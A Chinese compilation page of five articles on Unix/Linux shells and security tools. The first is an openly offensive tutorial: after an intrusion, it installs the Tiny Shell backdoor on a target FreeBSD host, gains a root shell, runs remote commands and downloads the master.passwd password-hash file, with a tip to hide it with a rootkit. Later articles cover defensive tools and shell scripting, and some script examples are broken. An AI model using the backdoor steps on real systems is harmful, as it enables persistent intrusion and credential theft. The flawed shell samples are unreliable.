Unix/Linux系统下轻量级Shell工具

时间:2023-01-17 04:13:27 作者:安崽动起来 综合材料 收藏本文 下载本文

【导语】“安崽动起来”通过精心收集,向本站投稿了5篇Unix/Linux系统下轻量级Shell工具,下面就是小编给大家分享的Unix/Linux系统下轻量级Shell工具,希望大家喜欢!

篇1:Unix/Linux系统下轻量级Shell工具

by:dahubaobao

一,前言

随着互联网的发展,使用Unix/Linux系统的越来越多,而入侵一台Unix/Linux系统也不再是什么难事了,通常,在入侵成功之后,都会留一个或几个后门,以便再次进入;对于Unix/Linux系统,后门的种类比较多,初级的有修改“.rhosts”文件,复制一个Shell到一个隐藏目录,修改etc/passwd文件加用户等手段。较高级的莫属使用内核模块后门(Rootkit)了,它是Unix/Linux系统下最高级别的后门,也许最具有隐蔽性的,但今天我并不说Rootkit,因为它的使用过于复杂,对没有Unix/Linux系统使用经验的人来说,更是难以驾御。而Tiny Shell作为一款运行于Unix/Linux系统下的轻量级Shell工具,不仅小巧,还支持另外一些不错的功能,具体请看下文。

二,应用

1,Tiny Shell简介

Tiny Shell是一款轻量级的标准远程Shell工具,可以提供远程执行命令(包括:Rlogin,Telnet,Ssh等)和文件传输功能(上传、下载),支持单字节,完全支持Pseudo-Terminal Pairs(pty/tty)等伪终端。并使用强大的160-bit RC4加密,以躲避嗅探器的检测具备AES-128 + HMAC-SHA1的强大加密和认证。支持FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系统。

2,Tiny Shell应用

测试环境:

本地:OpenBSD 3.4  IP:192.168.0.40

目标:FreeBSD 4.9 STABLE  IP:192.168.0.20

首先下载Tiny Shell,解压缩后修改源代码,以求该工具更能符合我们的要求。

#fetch www.ringz.org/tsh-0.6.tgz

#tar zxvf tsh-0.6.tgz

#cd tsh-0.6

#ls

ChangeLog  README  aes.h  pel.h   sha1.h  tsh.h

Makefile   aes.c   pel.c  sha1.c  tsh.c   tshd.c

#vi tsh.h

char *secret = “replace with your password”;

//连接后门的密码,我修改为dahubaobao。这个后门的主程序是tsh.c,先看看下边的源代码

if( password == NULL )

{

/* 1st try, using the built-in secret key */

ret = pel_client_init( server, secret );

if( ret != PEL_SUCCESS )

{

close( server );

/* secret key invalid, so ask for a password */

password = getpass( “Password: ” );

goto connect;

}

}

//重点在这里:ret = pel_client_init( server, secret );

把secret变量作为了参数,也就是连接后门所需要的密码。现在知道为什么修改tsh.h了吧。

#define SERVER_PORT 7586

//后门简听的端口,任意修改

if( argc == 5 && ! strcmp( argv[2], “get” ) )

{

action = GET_FILE;

}

if( argc == 5 && ! strcmp( argv[2], “put” ) )

{

action = PUT_FILE;

}

//该后门并没有帮助信息,所以查看这里得知Get为下载,Put为上传,

当然,如果你喜欢,可以自行修改。另外,如果你想该后门输出帮助信息,可以自己添加一个Printf语句来输出帮助信息。这里给出一个最简单的方法,我们在不加参数的情况下执行./tsh的时候,会提示gethostbyname failed.,然后查看源代码,找到fprintf( stderr, “gethostbyname failed.\\n” );这句代码,聪明的你也许想到了,就是修改gethostbyname failed.为你想要的帮助信息,这样,在执行./tsh的时候,就会自动输出帮助信息了。呵呵,也算一种变相修改吧。下面开始编译源代码。

#make

Please specify one of these targets:

make linux

make freebsd

make openbsd

make netbsd

make cygwin

make sunos

make irix

make hpux

make osf

#make openbsd

//根据你的系统做相应的选择,10秒钟就编译好了(如图1)。

然后,会在当前目录下生成两个可执行文件,一个客户端,一个服务端,分别为:tsh,tshd。现在将tshd复制到目标系统(FreeBSD),然后执行./tshd完成安装。为了更清楚的表示我使用的环境,所以回到本地执行id命令,得知该用户的UID=1000,是普通用户;现在使用./tsh 192.168.0.20来接连目标主机(为了测试方便,我就不加密码了),好,现在我们获得了一个Root权限的Shell,再使用id命令(注意,这是在目标主机上),可以看到UID=0了,这可是Root权限哦!执行uname Ca命令,回显为FreeBSD系统,可见已经成功连接后门并登陆了(如图2)。另外,该后门还可以在连接的时候插入Shell命令,语法为./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,这条命令的意思是连接192.168.0.20目标主机,接着执行cat etc/passwd命令,这样,目标主机的passwd文件我们就一览无余了(如图3)。但要注意,使用这种形式并没有登陆目标主机,只是连接目标主机,然后插入一个Shell命令而已。

现在我们来看看上传、下载的使用方法。从源代码中知道,上传的关键字为Put,下载的关键字为Get。好,先来看看如何上传文件,执行“./tsh 192.168.0.20 put 文件名 目标主机目录”即可完成上传,但要注意,文件要在当前目录下,也就是和tsh在同一个目录下。我上传的一个back的二进制文件,使用./tsh 192.168.0.20 put back /,这条命令是将back文件上传目标根目录,然后我再使用./tsh 192.168.0.20连接到目标主机,ls查看back是否已经上传到了对方主机(如图4),呵呵,还不错吧!在来看下载文件,它的语法为“./tsh 192.168.0.20 get 目标文件 本地目录”,现在我们来获得其最敏感的文件----master.passwd(影子文件,也就是Linux系统下的shadow文件)。执行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思为下载目标主机的master.passwd文件到本地的/home/dahubaobao目录,然后使用ls查看,可以看见已经将对方的master.passwd下载到了本地(如图5),再vi master.passwd(如图6),哈哈,用户的加密密码近在眼前。提示,FreeBSD的用户密码是采用MD5加密的。

小结

Tiny Shell作为一款小型的Shell工具,丝毫不逊于其他同类的Shell工具,而且支持大部分的Unix/Linux系统,绝对值得一试。当然,这款后门很不隐蔽,我们可以结合Rootkit来加固(Rootkit中也提供Shell工具,但无法和Tiny Shell相比,不信你可以自己试试),Rootkit的使用可以去google找答案,在此就不多说了。

篇2:Linux下安全工具Windows系统

hubertzou 译 原文: Linux Focus Georges Tarbouriech 摘要: 安全是系统管理员忧虑的主要问题之一,然而,由于internet引发的侵入危险变得越来越高. 据统计,如果联接的用户数量增加,骇客的数量随之增加.因此,安全工具呈指数增加.再一次多谢自由软件社区,因为

hubertzou 译

原文:LinuxFocus Georges Tarbouriech

摘要:

安全是系统管理员忧虑的主要问题之一,然而,由于internet引发的侵入危险变得越来越高.

据统计,如果联接的用户数量增加,骇客的数量随之增加.因此,安全工具呈指数增加.再一次多谢自由软件社区,因为他们给我们提供了我们能见到的最好的工具和大量的文档.

在本文结束部分的参考文献区你将会发现许多有趣的联接,显而易见地,本文将要提到的不可能没有疏漏之处,我提到的只是我挑选的一些好工具.

这篇文章不但写给个人用户,同样也是给系统管理员提供的,尽管一些工具是为保护主机和提高网络安全专门设计的.大部分工具可以在许多unix上工作(如果不是全部的unix上),不管这些unix是商业的还是免费的.

最后,这篇文章不是一篇“如何使你的网络或主机安全”的文章,而是一篇关于你能够(必须)用来提高一个网络或机器安全性的各种工具的介绍.

一、通用的工具

让我们把这部分称为“白帽子保护红帽子,击退黑帽子的工具(tools for whitehats to protect redhat from blackhats)”:-).大多数linux发行版(不仅仅是redhat)都保含了一些好的安全工具,它们被用来使你的机器更加安全.

在这些工具中,我们能数出TCPWrapper,PAM,影子口令工具等,因为它们是发行版的一部份,你可以找到关于它们的许多东西:HOWTO,man手册,所以我们不想在它们身上化太多时间.

让我们从影子口令工具开始,简单来说,它们允许口令加密,文件/etc/passwd被文件/etc/shadow代替.

比影子口令工具更精致的是PAM,就象名字所说的那样,这是另外一种认证方法,被用来配置对服务的访问控制.

可以在一些文件中定义许多限制,这样能容易地进行管理.这些文件通常放在/etc/pam.d目录中.

TCPWrapper,简单来说,是通过ip地址或主机名来限制服务访问权限.倚靠两个文件来决定容许访问还是拒绝访问,这两个文件是/etc/host.allow和/etc/host.deny

TCPWrapper可以配置为两种工作模式:通过运行看守进程,或者是修改/etc/inetd.conf文件.如果你的unix系统没有包含TCPWrapper,你可以从ftp://ftp.porcupine.org/pub/security/获得它.

现在,我要告诉你们,为什么我不详悉介绍上面提到的这些工具,因为有一个工具可以完成上叙所有的功能,这就是Bastille-Linux,如果你只想安装一个安全工具,那么就安装它吧,目前的常见的linux版本还没有包含它, 但你可以到bastille-linux.sourceforge.net网站上下载.

顺便说一下,我们不会在本文介绍Bastille-Linux,这样做毫无意义,因为我的同事在九月份的LinuxFocus上有一篇相当不错的文章已经介绍了它.他已经介绍了所有的东西.去那看看吧,让我们把Bastille-Linux加入你生活中必不可少的重要工具中吧!

另外一个常用的来提高安全性的工具是xinetd,它存在于www.xinetd.org,对不起,我也不打算介绍它,同样是是因为我的同事在十一月份的LinuxFocus上做完了这项工作.

现在,让我们来看一看一些特别的东西.

二、防火墙工具

自由软件Linux带有把你机器变成防火墙的软件.2.2内核是iptables,而2.0内核则是ipfwadm.为了使iptables或ipfwadm工作,内核必需正确选择选项进行编译.关于这个问题,除了HOWTOS,还有很多相关文章,所以,同样我不打算多提.

简单地说,我们可以把防火墙看作包过滤工具,工作最重要的部分是关心防火墙的配置,同样,一个错误配置的防火墙会变得非常危险.

不管怎么说,防火墙相当重要.

举个例子来说,Bastille-Linux可以给你提供一个基于ipchains的防火墙.

如果你访问www.linuxapps.com,并在搜索区中键入“firewall”,你至少能得到40个以上的答案.其中许多是基于ipchains或ipfwadm管理的图形化界面,另外一些是真正的大工具,含有大量的功能,举个例子,象T.REX,www.opensourcefirewall.com上的工具就是这样的东西.再提醒一次,一个防火墙在一个网络中必不可少,但是网络安全不能仅仅依靠它,告诉你,一个骇客可以在十五分钟之内攻破它.

三、端口扫描

在这里我们接触问题的核心部分,这个思想是:象一个骇客干的那样,使用同样的工具,来监测你机器或网络的弱点所在.

在这个领域,我们能够在两个伟大的工具上受益,但还有其它更多的.

第一个叫作nmap,你可以从www.insecure.org上下载到,同时还有大量的信息和链接等等.

用nmap你可以检查你的网络或机器哪些端口是开放的.当然,你可以用其它的命令做到这点,例如lsof或netstat,但是只能检测你自己的机器.显而易见的,nmap当然也可以检查你自己的机器.

nmap能提供给你许多信息,例如,它能告诉你运行的是哪种操作系统,通知你所开放的端口的危险性,最后,至少,nmap相当容易使用.

nmap既可在shell下运行,也可以通过一个叫nmapfe的图形界面来运行.这个图形界面是基于gtk库的,nmap的当前版本是2.53,它可以在许多unix平台上运行,提供原代码,rpm包,带或不带图形界面.

nmap是系统管理必不缺少的工具.

多谢Fyodor先生,以及恭贺他的伟大工作.

第二个叫作nessus,可从网站www.nessus.org上下载,nessus使用客户/服务器结构来工作,源代码遵循posix标准,能在许多unix版本上运行.甚至还有基于win32的客户端.nessus依赖nmap(要知道,没有nmap,nessus就不能运行),GUI客户端还需要GTK库函数的支持.

nessus当前版本是1.06,通过nessus,你可一用一个命令扫描整个网络.这个命令就是网络地址,例如,在目标框中键入192.168.1.0/24,将会扫描整个子网的255台机器.

尽管nessus比nmap复杂不少,但它不但容易使用,功能很多.比方说,它可以生成报告,比较各报告的差异...,另外一个功能相当有趣:nessus为端口扫描中发现的问题提供解决方案,只要这些机器是unix系统,这些建议通常有用,对其它操作系统,就没这么恰当,但这不是一个问题.

下面是一台非常容易受攻击的机器的例子

nessus还有另一项伟大的功能,它可以运行插件,这样,每次在任何地方发现新的安全漏洞,它都可以很快升级.

nessus是另一个系统管理真的需要的工具,Deraison先生和Merci beaucoup做的棒极了.

两个工具都在一个linux机器和其它不同操作系统的网络中测试过,有Linux RH 6.2, Irix 6.5.7, Solaris 2.6, NeXTStep 3.3,QNX RT, BeOS 5.0, Amiga OS 3.5,Not Terminated 4.0.在大多数平台上测试结果给人留下深刻印象,当然Amiga系统没有真正被认证,(因为它看起来象一台打印机或路由器!),但是有谁现在的网络中还有这种操作系统呢(除了我们)?

不管怎么说,整些工具是今天网络中必须有的工具.

为了结束这个章节,让我们来提一提其它一些工具象SARA(www-arc.com/sara/),或者是它的父辈SATAN(www.porcupine.org/satan/)或AINT(www.wwdsi.com).它们不但是端口扫瞄器而且它们都对提高网络安全非常有用.

四、嗅探系统

有些工具能发现端口扫描或入侵.标准的系统管理不能没有这种工具(这有点偏执!).

第一套工具集来自算盘工程.你可以从www.psionic.com获得这些工具.其中包含三个工具:

clearcase/“ target=”_blank“ >cccccc border=1>

logcheck,portsentry和hostsentry.

原文转自:www.ltesting.net

篇3:Linux系统下常用的三款网络安全工具

在Linux中,密码以hash格式被存储, 你不能反向从该hash数据表中分析出密码,但可以以一组单词hash后和它进行比较,如相同则就猜测出密码,故起一个很难被猜测的密码是非常关键的。

一、John the ripper

在Linux中,密码以hash格式被存储, 你不能反向从该hash数据表中分析出密码,但可以以一组单词hash后和它进行比较,如相同则就猜测出密码。故起一个很难被猜测的密码是非常关键的。一 般地你决不能用字典存在的某个单词作为密码,那是相当容易被猜测出来的。另外也不能用一些常见的有规则性的字母数字排列来作为密码,以123abc等。

John the ripper是一个高效的易于使用的密码猜测程序。

其主页在www.openwall.com/john/

下载tar.gz格式的for UNIX的程序,然后用tar xvfz john*.tar.gz解开到任一目录下。进入src目录,打入make linux-x86-any-elf (我用redhat 6.1)后会在run目录下生成几个执行文件,包括主程序john。现在要Crack密码就运行./john /etc/passwd即可。

John也可以Crack由htpasswd 生成的用于验证apache用户的密码,如果你用htpasswd -c apachepasswd user创建了一个用户user,并生成了密码,你也可以用john apachepasswd来进行猜测。

John在猜测密码时输出在终端上,并把猜测出的密码存于john.pot文件中。

另一个password Cracker是大家知道的经典的Cracker.

主页在 www.users.dircon.co.uk/~crypto/

二、Logcheck

Logcheck是用来自动检查系统安全入侵事件和非正常活动记录的工具,它分析各种Linux log文件,象/var/log/messages, /var/log/secure,/var/log/maillog等等,然后生成一个可能有安全问题的问题报告自动发送email给管理员,

你能设置它基于每小时,或者每天用crond来自动运行。

logcheck工具的主页在www.psionic.com/abacus/logcheck/下载后用tar xvfz logcheck*解开到一临时目录如/tmp下,然后用./make linux自动生成相应的文件到/usr/local/etc,/usr/local/bin/等目录下,你可能更改设置如发送通知能谁的邮件帐号,默认 发送到root,你能设置root的邮件别名帐号到一批人,更改设置让其忽略某些类型的消息如你的邮件记录文件中的plug-gw,因为plug-gw做 反向IP查找,若找不到则记录一个警告消息到/var/log/maillog,logcheck默认记录下所有这些警告发送给你,你可以通过设置忽略掉它们。利用logcheck工具分析你的所有logfile,避免了你每天经常手动地检查它们,节省了时间,提高了效率。

三、Tripwire

Tripwire 是一个用来检验文件完整性的非常有用的工具,你能定义哪些文件/目录需要被检验,不过默认设置能满足大多数的要求,它运行在四种模下:数据库生 成模式,数据库更新模式,文件完整性检查,互动式数据库更新。当初始化数据库生成的时候,它生成对现有文件的各种信息的数据库文件,万一以后你的系统文件 或者各种配置文件被意外地改变,替换,删除,它将每天基于原始的数据库对现有文件进行比较发现哪些文件被更改,你能根据email的结果判断是否有系统入 侵等意外事件。

Tripwire的主页在 www.tripwiresecurity.com , tripwire-1.2.3的版本你能免费使用.

如果你使用Redhat Linux 6.1,你也能得到最新的为6.1重建的Tripwire-1.2.3

(rufus.w3.org/linux/RPM/powertools/6.1/i386/tripwire-1.2-3.i386.html)

当你手动更改了系统中的配置文件或程序时,你能手动再次生成一次数据库文件,运行 tripwire-initialize 在当前目录下创建databases目录并在该目录下生成新的系统数据库文件,然后cp到/var/spool/tripwire目录中覆盖旧的

篇4:Unix系列shell程序编写(下)Windows系统

[code:1:0fdddfdb40] Until语句 While语句中,只要某条件为真,则重复执行循环代码,until语句正好同while相反,该语句使循环代码重复执行,直到遇到某一条件为真才停止, Until语句的结构如下: untilcommand do command command …… done 可以用until语句

[code:1:0fdddfdb40]

Until语句

While语句中,只要某条件为真,则重复执行循环代码,until语句正好同while相反,该语句使循环代码重复执行,直到遇到某一条件为真才停止。

Until语句的结构如下:

until command

do

command

command

… …

done

可以用until语句替换上面备份程序的while语句,完成同样的功能:

until [ $ANS != Y -a $ANS != y ]

for 循环

在介绍for循环之前,我们要学个非常有用的unix命令:shift。我们知道,对于位置变量或命令行参数,其个数必须是确定的,或者当Shell程序不知道其个数时,可以把所有参数一起赋值给变量$*。若用户要求Shell在不知道位置变量个数的情况下,还能逐个的把参数一一处理,也就是在$1后为$2,在$2后面为$3等。在 shift命令执行前变量$1的值在shift命令执行后就不可用了。

示例如下:

#测试shift命令(x_shift.sh)

until [ $# -eq 0 ]

do

echo ”第一个参数为: $1 参数个数为: $#“

shift

done

执行以上程序x_shift.sh:

$./x_shift.sh 1 2 3 4

结果显示如下:

第一个参数为: 1 参数个数为: 3

第一个参数为: 2 参数个数为: 2

第一个参数为: 3 参数个数为: 1

第一个参数为: 4 参数个数为: 0

从上可知shift命令每执行一次,变量的个数($#)减一,而变量值提前一位,下面代码用until和shift命令计算所有命令行参数的和。

#shift上档命令的应用(x_shift2.sh)

if [ $# -eq 0 ]

then

echo ”Usage:x_shift2.sh 参数“

exit 1

fi

sum=0

until [ $# -eq 0 ]

do

sum=`expr $sum + $1`

shift

done

echo ”sum is: $sum“

执行上述程序:

$x_shift2.sh 10 20 15

其显示结果为:

45

shift命令还有另外一个重要用途,Bsh定义了9个位置变量,从$1到$9,这并不意味着用户在命令行只能使用9个参数,借助shift命令可以访问多于9个的参数。

Shift命令一次移动参数的个数由其所带的参数指定。例如当shell程序处理完前九个命令行参数后,可以使用shift 9命令把$10移到$1。

在熟悉了shift命令后,我们一起看看,Bsh程序中非常有用的for循环语句,这种循环同上面说的while和until循环不同,for语句中的循环是否执行并不由某个条件的真和假来决定,决定for循环是否继续的条件是参数表中是否还有未处理的参数。

For语句的结构如下:

for variable in arg1 arg2 … argn

do

command

command

… …

done

下面是for循环的简单例子:

for LETTER in a b c d

do

echo $LETTER

done

程序执行结果如下:

a

b

c

d

在上面计算参数和的例子中,我们可以用for循环,实现如下:

#测试 for 程序(x_for.sh)

if [ $# -eq 0 ]

then

echo ”Usage:x_for.sh 参数… …“

exit 1

fi

sum=0

for I in $*

do

sum=`expr $sum + $I`

done

echo ”sum is: $sum“

中断循环指令

在程序循环语句中,我们有时候希望遇到某中情况时候结束本次循环执行下次循环或结束这个循环,这就涉及到两条语句:continue和break。continue命令可使程序忽略其后循环体中的其他指令,直接进行下次循环,而break命令则立刻结束循环,执行循环体后面的的语句。

#测试continue

I=1

while [ $I -lt 10 ]

do

if [ $I -eq 3 ]

then

continue

fi

if [ $I -eq 7 ]

then

break

fi

echo ”$I\\c“

done

执行上面程序,结果如下:

12456789

与或结构

使用与/或结构有条件的执行命令

Shell程序中可以使用多种不同的方法完成相同的功能,例如until和while语句就可以完成相同的功能,同样,除了if-then-else结构可以使命令有条件的执行外,$$和||操作符也能完成上述功能。在C语言中这两个操作符分别表示逻辑与和逻辑或操作。在Bourne Shell中,用&&连接两条命令的含义只有前面一条命令成功执行了,后面的命令才会执行。

&&操作的形式为:

command && command

例如语句:

rm $TEMPDIR/* && echo ”Files suclearcase/“ target=”_blank“ >ccessfully removed”

只有rm命令成功执行以后,才会执行echo命令。若用if-then语句实现上述功能,形式为:

if rm $TEMPDIR/*

then

echo “Files successfully removed”

fi

相反,用||连接两条命令的含义为只有第一条命令执行失败才执行第二条命令,例如:

rm $TEMPDIR/* || echo “File were not removed”

上面语句的等价形式为:

if rm $TEMPDIR/*

then

:

else

echo “Files were not removed”

fi

这两种操作符可以联合使用,如在下面的命令行中,只有command1和command2执行成功后,command3才会执行:

command1 && command2 && command3

下面的命令行表示只有command1成功执行,command2不成功执行时,才会执行command3。

&&和||操作符可以简化命令条件执行的格式,但一般只用于一条命令的条件执行。如果许多命令都使用这两个操作符,那么整个程序的可读性将变的很差,所以在多条命令的条件执行时,最好采用可读性好的if语句。

函数

现在我们介绍Shell程序中的函数部分,基本上任何高级语言都支持函数这个东西,能让我们胜好多事情的东西,至少省的频繁的敲击相同的东西,好了come on

Shell程序中的函数

函数又叫做子程序,可以在程序中的任何地方被调用,其格式如下:

函数名字

{

command

... ...

command;

}

Shell程序的任何地方都可以用命令 “函数名字” 调用,使用函数的好处有两点,一点是使用函数可以把一个复杂的程序化为多个模块,易于管理,符合结构化程序的设计思想,另一个好处是代码的重用。

Shell函数和Shel程序比较相似,它们的区别在于Shell程序在子Shell中运行,而Shell函数在当前Shell中运行。因此,在当前Shell中可以看到Shell函数对变量的修改。在任何Shell中都可以定义函数,包括交互式Shell。

例如:

$dir() {ls -l;}

结果是我们在$后面打dir,其显示结果同ls -l的作用是相同的。该dir函数将一直保留到用户从系统退出,或执行了如下所示的unset命令:

$unset dir

下面的例子说明了函数还可以接受位置参数:

$dir(){_

>echo “permission ln owner group file sz last access

>ls -l $*;

>}

运行 dir a* 看产生什么结果

参数a*传递到dir函数中并且代替了$*

通常Shell程序将在子Shell中执行,该程序对变量的改变只在子Shell中有效而在当前Shell中无效。”.“命令可以使Shell程序在当前Shell中执行。用户可以在当前Shell中定义函数和对变量赋值。通常用下面命令来重新初使化.profile对Shell环境的设置。

$ . .profile

由于看到这部分相对简单,我们还是顺便说说trap好了

使用trap命令进行例外处理

用户编写程序在程序运行时可能会发生一些例外情况,比如执行该程序的用户按中断键或使用kill命令,或者控制终端突然与系统断开等。unix系统中的上述情况会使系统向进程发一个信号,通常情况下该信号使进程终止运行。有时侯用户希望进程在接到终止信号时进行一些特殊的操作。若进程在运行时产生一些临时文件,又因接受到的信号而终止。那么该进程产生的临时文件将保留下来。在bsh中,用户可以使用trap命令修改进程接收到终止信号时进行的默认操作。

trap命令格式如下:

trap command_string signals

多数系统中共有15种发给进程的信号,默认情况下大多数信号都会使程序终止。用户最好查阅自己系统的文挡,看看本系统内使用的信号种类。除了信号为9(真正的kill信号)不能使用trap命令外,其他信号所带来的操作都可以用trap命令进行指定。下面是trap命令中经常使用的几种信号:

信号 功能

1  挂起

2 操作中断

15 软终止(kill信号)

若命令串中包含不只一条命令,必须使用引号将整个命令括起来,具体是单引号还是双引号,由用户是否需要变量替换决定。” “替换,' '不替换。

使用下面trap命令可以使程序在接收到挂起、中断或kill信号时,首先把临时文件删除,然后退出:

trap ”rm $TEMPDIR/* $$;exit“ 1 2 15

在上面例子中,当Shell读取trap命令时,首先对$TEMPDIR和$$进行变量替换,替换之后的命令串将被保存在trap表中,若上例中trap命令使用单引号时,trap命令执行时候,不进行变量替换,而把命令串 rm $TEMPDIR/* $$;exit 放到trap表中,当检测到信号时,程序解释执行trap表中的命令串,此时进行变量替换,

前面变量$TEMPDIR和$$的值为执行trap指令时候的值,后一种情况中变量的值为程序接收到信号时候的值,所以 ”、'一定要区分仔细。

下面命令的含义为用户按二次中断键后,程序才终止:

trap 'trap 2' 2

一般trap命令中的命令串中几乎都包含exit语句,上面rm的例子若无exit语句,接收到信号rm命令执行完后程序将挂起。但有时用户也需要程序在接到信号后挂起,例如当终端和系统断开后,用户发出挂起信号,并执行空命令,如下:

trap : 1

若用户想取消前trap指令设置的命令串,可以再执行trap命令,在命令中不指定命令串表示接收到信号后进行默认的操作,命令如下:

trap 1

规范Shell

获取UNIX类型的选项:

unix有一个优点就是标准UNIX命令在执行时都具有相同的命令行格式:

command -options parameters

如果在执行Shell程序也采用上述格式,Bourne Shell中提供了一条获取和处理命令行选项的语句,即getopts语句。该语句的格式为:

getopts option_string variable

其中option_string中包含一个有效的单字符选项。若getopts命令在命令行中发现了连字符,那么它将用连字符后面的字符同option_string相比较。若有匹配,则把变量variable的值设为该选项。若无匹配,则variable设为?。当getopts发现连字符后面没有字符,会返回一个非零的状态值。Shell程序中可以利用getopts的返回值建立一个循环。

下面代码说明了date命令中怎么使用getopts命令处理各种选项,该程序除了完成unix的标准命令date的功能外,还增加了许多新的选项。

#新date程序

if [ $# -lt 1 ]

then

date

else

while getopts mdyDHMSTJjwahr OPTION

do

case $OPTION

in

m)date '+%m';;

d)date '+%d';;

y)date '+%y';;

D)date '+%D';;

H0date '+%H';;

M)date '+%M';;

S)date '+%S';;

T)date '+%T';;

j)date '+%j';;

J)date '+%y%j';;

w)date '+%w';;

a)date '+%a';;

h)date '+%h';;

r)date '+%r';;

\\?)echo “无效的选项!$OPTION”;;

esac

done

fi

有时侯选项中还带一个值,getopts命令同样也支持这一功能。这时需要在option_string中选项字母后加一个冒号。当getopts命令发现冒号后,会从命令行该选项后读取该值。若该值存在,那么将被存在一个特殊的变量OPTARG中。如果该值不存在,getopts命令将在OPTARG中存放一个问号,并且在标准错误输出上显示一条消息。

下面的例子,实现拷贝一个文件,并给文件赋一个新的名字。-c选项指定程序拷贝的次数,-v选项要求显示新创建文件的文件名。

#--拷贝程序

COPIES=1

VERBOSE=N

while getopts vc:OPTION

do

case $OPTION

in

c)COPIES=$OPTARG;;

v)VERBOSE=Y;;

\\?)echo “无效参数!”

exit 1;;

esac

done

if [ $OPTIND -gt $# ]

then

echo “No file name specified”

exit 2

fi

shift 'expr $OPTIND - 1'

FILE=$1

COPY=0

while [ $COPIES -gt $COPY ]

do

COPY='expr $COPY + 1'

cp $FILE $ {FILE} $ {COPY}

if [ VERBOSE = Y }

then

echo ${FILE} $ {COPY}

fi

done

规范Shell:

我们知道环境变量PS1是提示符,看下面程序chdir:

if [ ! -d “$!” ]

then

echo “$1 is not a directory”

exit 1

fi

cd $1

PS1=“'pwd'>”

export PS1

我们执行:

$chdir /usr/ice666

结果提示符号变成/usr/ice666>了吗?没有,为什么?

原因在于:chdir在子Shell中执行,变量PS1的修改在当前Shell中也不会起作用,若要chdir完成意想中的功能,必须在当前Shell中执行该命令。最好的方法就是把其改成一个函数并且在.profile文件中定义。但若要把函数放到单个文件中并在当前Shell中执行,则需要使用 . 命令,并将chdir重写成一个函数,把其中的exit改写成return。下面代码是 .ice_ps的内容:

#--提示符

chdir()

{

if [ !-d “$1” ]

then

echo “ $1 is not a directory”

return

fi

cd $1

PS1=“'pwd'>”

export PS1;

}

然后我们在.profile文件中加入下面语句

.ice_ps

然后在切换目录的时候,我们用chdir命令,结果是什么呢,自己实验好了!

调试Shell程序

1>调试shell程序

用户刚编写完Shell程序中,不可避免的会有错误,这时我们可以利用Bsh中提供的跟踪选项,该选项会显示刚刚执行的命令及参数。用户可以通过set命令打开-x选项或在启动Shell使用-x选项将Shell设置成跟踪模式。例如有下面代码ice_tx:

if [ $# -eq 0 ]

then

echo “usage:sumints integer list”

exit 1

fi

sum=0

until [ $# -eq 0 ]

do

sum='expr $sum + $1'

shift

done

echo $sum

我们用跟踪模式运行:

$sh -x ice_tx 2 3 4

结果显示:

+[ 3 -eq 0 ]

+sum=0

+[ 3 -eq 0 ]

+expr 0+2

+sum=2

+shift

+[ 2 -eq 0 ]

+expr 2+3

+sum=5

+shift

+[ 1 -eq 0 ]

+expr 5+4

+sum=9

+[ 0 -eq 0 ]

+echo 9

9

从上面可以看出,跟踪模式下Shell显示执行的每一条命令以及该命令使用的变量替换后的参数值。一些控制字如if、then、until等没显示。

2>命令分组

Shell中若干命令可以组成一个单元一起执行。为了标识一组命令,这些命令必须放到“()”或“{}”中。放在“()”中的命令将在子Shell中运行,而放在“{}”中的命令将在当前Shell中运行。子Shell中运行的命令不影响当前Shell的变量。当前Shell中运行的命令影响当前Shell的变量。

$NUMBER=2

$(A=2;B=2;NUMBER='expr $A+$B';echo $NUMBER)

结果为:4

$echo $NUMBER

结果为:2

如果把上面的()变成{},结果会是怎么样的呢?

3>使用Shell分层管理器shl

UNIX是一个多道程序设计的操作系统,一些UNIX系统利用这一特性提供了Shell层次管理器shl。使用shl用户一次可以打开多个层次的Shell,其中活跃的Shell可以从终端上获得输入。但所有Shell的输出都可在终端上显示,除非显示被禁止。

多个Shell中有一个为shl,当用户在某个Shell中工作时,可以通过使用特殊字符(一般为Ctrl+z)返回shl。为了同其他Shell区别,shl中提示符为“>>>”。当用户工作在Shell层次管理器中时,可以创建、激活和删除Shell,下面是shl中使用的命令。

create name 产生名为name的层次

delete name 删除名为name的层次

block name 禁止名为name的层次的输出

unblock name 恢复名为name的层次的输出

resume name 激活名为name的层次

toggle 激活近来经常使用的层次

name 激活名为name的层次

layers [-l] name 对于表中的每个层次,显示其正在运行的进程的进程号,-l选项要求显示详细信息。

help 显示shl命令的帮助信息

quit 退出shl以及所有被激活的层次

总结

在前面我们主要介绍了sh的变量、基本语法、程序设计等。如果掌握了这些内容,在学习其他UNIX下编程语言的时候,相信有一定的好处,我们说了,在大多数的UNIX中都提供Bourn Shell,而且很少有象sh这样强大的脚本编辑语言了,是系统管理员和程序员的一笔财富,并且不需要额外的软件环境,对文件等处理借助unix命令,实现起来比c实现还要简单。

[/code:1:0fdddfdb40]

bjchenxu 回复于:2003-07-14 16:07:52太老了吧,而且shell版中早就加为精华了,是否重复???

alphaliu 回复于:2003-07-14 16:57:41不管重复与否,先up

lwm_13 回复于:2004-03-06 21:43:15up

原文转自:www.ltesting.net

篇5:FreeBSD的基本系统下Shell设置Unix系统

命令解释程序shell是与用户关系最密切的应用程序,用户主要通过shell使用系统,在每次登录系统之后,就启动了一个与用户交互的shell,这个shell将给出一个提示符等待用户输入,(sh为“$”,csh为“%”,如果是使用root用户,登录提示符将是“#”),然后对

命令解释程序shell是与用户关系最密切的应用程序,用户主要通过shell使用系统。在每次登录系统之后,就启动了一个与用户交互的shell,这个shell将给出一个提示符等待用户输入,(sh为 “$” ,csh为 “%” ,如果是使用root用户,登录提示符将是 “#” ),然后对用户的输入进行解释执行。

FreeBSD的基本系统中可以使用的shell有两个:sh和csh。这两个基本shell的风格不太相同,不同的使用者常常会根据喜好来在两者之间进行选择。当然当前有更好的shell程序可供使用者选择,这些后续的 shell均是根据sh或csh的风格进一步发展出的,因此可以说在shell中,也有两种风格,需要使用者根据自己的使用习惯进行选择。

